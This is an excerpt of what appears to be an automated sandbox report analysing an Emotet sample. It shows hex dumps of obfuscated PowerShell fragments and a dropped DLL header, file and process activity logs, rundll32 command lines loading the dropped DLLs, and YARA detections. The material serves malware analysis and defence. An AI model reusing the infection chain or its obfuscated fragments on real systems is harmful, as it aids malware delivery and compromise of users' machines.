63 41 4b 77 41 6e 41 
43 6b 41 4b 41 41 6e 
41 43 6b 41 4b 51 41 
72 41 43 67 41 4b 41 
41 6e 41 45 6f 41 4b 
51 41 6e 41 43 6b 41 
4b 51 41 72 41 43 67 
41 4b 41 41 6e 41 43 
67 41 4d 77 42 7a 41 
43 63 41 4b 77 41 6e 
41 44 49 41 4a 77 41 
70 41 43 6b 41 4b 77 
41 6e 41 43 6b 41 4a 
77 41 72 41 43 67 41 
4b 41 41 6e 41 43 67 
41 61 41 42 76 41 43 
63 41 4b 77 41 6e 41 
48 51 41 5a 51 41 6e 
41 43 6b 41 4b 51 41 
72 41 43 67 41 4a 77 
42 73 41 43 63 41 4b 
77 41 6e 41 48 4d 41 
61 41 42 70 41 48 59 
41 4a 77 41 70 41 43 
73 41 4b 

ArACcAcAAnACsAJwA6A
CcAKwAoACgA
JwBKACkAJwApACkAKw
AnACgAJwArAC
cAMwAnACsAKAAoACcA
cwAyACcAKwAn
ACkAKAAnACkAKQArAC
gAKAAnAEoAKQ
AnACkAKQArACgAKAAn
ACgAMwBzACcA
KwAnADIAJwApACkAKwA
nACkAJwArAC
gAKAAnACgAaABvACcAK
wAnAHQAZQAn
ACkAKQArACgAJwBsACc
AKwAnAHMAaA
BpAHYAJwApACsAK

success or wait 1 7FFA9303B526 WriteFile

C:\Users\user\Documents\20210201\PowerShell_transcr
ipt.724536.D_cV0UCD.20210201232511.txt

unknown 98 73 69 6f 6e 3a 20 33 
2e 30 0d 0a 50 53 52 
65 6d 6f 74 69 6e 67 
50 72 6f 74 6f 63 6f 
6c 56 65 72 73 69 6f 
6e 3a 20 32 2e 33 0d 
0a 53 65 72 69 61 6c 
69 7a 61 74 69 6f 6e 
56 65 72 73 69 6f 6e 
3a 20 31 2e 31 2e 30 
2e 31 0d 0a 2a 2a 2a 
2a 2a 2a 2a 2a 2a 2a 
2a 2a 2a 2a 2a 2a 2a 
2a 2a 2a 2a 2a 0d 0a 

sion: 
3.0..PSRemotingProtocolV
ersion: 
2.3..SerializationVersion: 
1.1.0.1..****************
******..

success or wait 17 7FFA9303B526 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll unknown 15740 4d 5a 90 00 03 00 00 
00 04 00 00 00 ff ff 
00 00 b8 00 00 00 00 
00 00 00 40 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 f0 00 00 
00 0e 1f ba 0e 00 b4 
09 cd 21 b8 01 4c cd 
21 54 68 69 73 20 70 
72 6f 67 72 61 6d 20 
63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 
69 6e 20 44 4f 53 20 
6d 6f 64 65 2e 0d 0d 
0a 24 00 00 00 00 00 
00 00 59 93 4c 43 1d 
f2 22 10 1d f2 22 10 
1d f2 22 10 03 a0 b7 
10 0f f2 22 10 03 a0 
a1 10 61 f2 22 10 1d 
f2 23 10 64 f2 22 10 
3a 34 59 10 1a f2 22 
10 03 a0 a6 10 25 f2 
22 10 03 a0 b0 10 1c 
f2 22 10 03 a0 b6 10 
1c f2 22 10 03 a0 b3 
10 1c f2 22 10 52 69 
63 68 1d f2 22 10 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 50 45 00 00 4c 
01 05 00 b9 48 e2 5f 
00 00 00 

MZ......................@.....
..............................
............!..L.!This program 
cannot be run in DOS 
mode....
$.......Y.LC.."..."...".......
".....a."...#.d.".:4Y...".....
%.".......".......".......".Ri
ch..".........................
PE..L....H._...

success or wait 14 7FFA9303B526 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-
NonInteractive

unknown 64 40 00 00 01 65 00 00 
00 00 00 00 00 10 00 
00 00 09 00 00 00 12 
00 00 00 01 00 00 00 
00 00 00 00 00 00 00 
00 f5 01 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 04 40 00 80 
00 00 00 00 00 00 00 
00 

@...e.........................
.......................@..........

success or wait 1 7FFA9462F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-
NonInteractive

unknown 40 38 00 00 02 04 00 00 
00 00 00 00 00 01 00 
00 00 92 27 b2 e7 11 
d3 a3 4c aa b2 7d 19 
c2 b2 0b aa 09 00 00 
00 0e 00 0f 00 

8................'.....L..}............. success or wait 16 7FFA9462F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-
NonInteractive

unknown 15 53 79 73 74 65 6d 2e 
4e 75 6d 65 72 69 63 
73 

System.Numerics success or wait 16 7FFA9462F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-
NonInteractive

unknown 1 00 . success or wait 10 7FFA9462F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-
NonInteractive

unknown 4 70 00 00 03 p... success or wait 1 7FFA9462F6E8 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-
NonInteractive

unknown 108 01 0e 80 00 02 0e 80 
00 03 0e 80 00 04 0e 
80 00 05 0e 80 00 06 
0e 80 00 07 0e 80 00 
08 0e 80 00 00 0e 80 
00 09 0e 80 00 0a 0c 
80 00 0b 0c 80 00 0c 
0e 80 00 22 00 40 00 
24 00 40 00 6a 00 40 
00 99 00 40 00 b1 00 
40 00 b0 00 40 00 9b 
00 40 00 18 00 40 00 
57 00 40 00 0a 0e 80 
00 0d 0c 80 00 0e 0c 
80 00 0d 0e 80 00 0f 
0e 80 00 

..............................

......................".@.$.@.
j.@...@...@...@...@...@.W
.@.....................

success or wait 1 7FFA9462F6E8 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

File ReadFile Read
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA940DB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 7FFA940DB9DD unknown

C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26
e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux

unknown 176 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA940E2625 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA940E2625 ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 7FFA940E2625 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb3
78ec07#\58553ff4dedf0b1dd22a283773a566fc\Microsoft.PowerShell.ConsoleHost.ni.dll.aux

unknown 1248 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a171
39182a9efd561f01fada9688a5\System.ni.dll.aux

unknown 620 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux

unknown 900 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa5
7fc8cc#\8b2774850bdc17a926dc650317d86b33\System.Management.Automation.ni.dll.aux

unknown 2764 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA940DB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA940DB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA940DB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4097 success or wait 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 7976 success or wait 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4121 success or wait 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4253 success or wait 1 7FFA940DB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 8171 end of file 1 7FFA940DB9DD unknown

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf4
9f6405#\dfef7a1e85e28d0ba698946b7fc68a28\Microsoft.Management.Infrastructure.ni.dll.aux

unknown 748 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manage
ment\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll.aux

unknown 764 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired1
3b18a9#\78d6ee2fdd35fdb45b3d78d899e481ea\System.DirectoryServices.ni.dll.aux

unknown 752 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\f2
e3165e3c718b7ac302fea40614c984\System.Xml.ni.dll.aux

unknown 748 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuration.ni.dll.aux

unknown 864 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data\9
9a190301066e9665ec15a1f355a928e\System.Data.ni.dll.aux

unknown 1540 success or wait 1 7FFA941B12E7 ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive unknown 64 success or wait 1 7FFA940C62DB ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f
792626#\e64755e76f85a3062b9f5a99a62dcabb\Microsoft.PowerShell.Security.ni.dll.aux

unknown 1268 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Transa
ctions\773cde8eca09561aeac8ad051c091203\System.Transactions.ni.dll.aux

unknown 924 success or wait 1 7FFA941B12E7 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown 492 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 774 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 success or wait 3 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 682 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 289 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

Copyright null 2021 Page 75 of 81



C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown 289 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 success or wait 126 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 993 end of file 1 7FFA9303B526 ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown 492 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

unknown 774 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 success or wait 3 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 682 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 289 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 289 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 success or wait 118 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 993 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PSReadline.psd1 unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PSReadline.psd1 unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 637 end of file 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown 637 end of file 1 7FFA9303B526 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P52
1220ea#\3fead9bee9d7ca09b54c4ee7c5ed0848\Microsoft.PowerShel
l.Commands.Utility.ni.dll.aux

unknown 2264 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Confe6
4a9051#\b7f41bbfe8914f994b68b89a23570901\System.Configuration.Install.ni.dll.aux

unknown 1260 success or wait 1 7FFA941B12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 4096 success or wait 8 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 128 end of file 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown 4096 success or wait 1 7FFA941D55FA unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown 512 success or wait 1 7FFA941D55FA unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_
4.0.0.0__b77a5c561934e089\System.Core.dll

unknown 4096 success or wait 1 7FFA941D55FA unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_
4.0.0.0__b77a5c561934e089\System.Core.dll

unknown 512 success or wait 1 7FFA941D55FA unknown

File Path Offset Length Completion Count
Source
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Registry ActivitiesRegistry Activities

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0
.0__b77a5c561934e089\System.dll

unknown 4096 success or wait 1 7FFA941D55FA unknown

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0
.0__b77a5c561934e089\System.dll

unknown 512 success or wait 1 7FFA941D55FA unknown

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 534 end of file 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 end of file 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 4096 success or wait 1 7FFA9303B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown 534 end of file 1 7FFA9303B526 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae
3498d9#\03aa8bc6b99490176793256632e8342e\Microsoft.PowerShel
l.Commands.Management.ni.dll.aux

unknown 3148 success or wait 1 7FFA941B12E7 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

Key Path Name Type Data Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 23:25:18

Start date: 01/02/2021

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll,#1

Imagebase: 0x7ff760c70000

File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll unknown 64 success or wait 1 7FF760C72FA7 ReadFile

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll unknown 264 success or wait 1 7FF760C72FEA ReadFile

Start time: 23:25:19

Start date: 01/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll,#1

Imagebase: 0x1340000

Analysis Process: rundll32.exe PID: 6760 Parent PID: 1320Analysis Process: rundll32.exe PID: 6760 Parent PID: 1320

General

File ReadFile Read

Analysis Process: rundll32.exe PID: 6728 Parent PID: 6760Analysis Process: rundll32.exe PID: 6728 Parent PID: 6760

General
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File ActivitiesFile Activities

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DD0F03A89A1FDAD63D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000006.00000002.689861945.0000000001070000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000006.00000002.689878857.0000000001091000.00000020.00000001.sdmp, Author: 
Joe Security

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 23:25:22

Start date: 01/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ezfa\bvb.lli',RunDLL

Imagebase: 0x1340000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DD0F03A89A1FDAD63D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.922521031.0000000000F41000.00000020.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.922478242.0000000000F20000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

Analysis Process: rundll32.exe PID: 6960 Parent PID: 6728Analysis Process: rundll32.exe PID: 6960 Parent PID: 6728

General

File CreatedFile Created
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C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F4DB5E HttpSendRequestW

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\Ezfa\bvb.lli cannot delete 1 F4EC6E DeleteFileW

Start time: 23:25:24

Start date: 01/02/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p

Imagebase: 0x7ff6eb840000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

File DeletedFile Deleted

Analysis Process: svchost.exe PID: 7136 Parent PID: 568Analysis Process: svchost.exe PID: 7136 Parent PID: 568

General
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File ActivitiesFile Activities

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 23:25:34

Start date: 01/02/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p

Imagebase: 0x7ff6eb840000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 23:25:42

Start date: 01/02/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p

Imagebase: 0x7ff6eb840000

File size: 51288 bytes

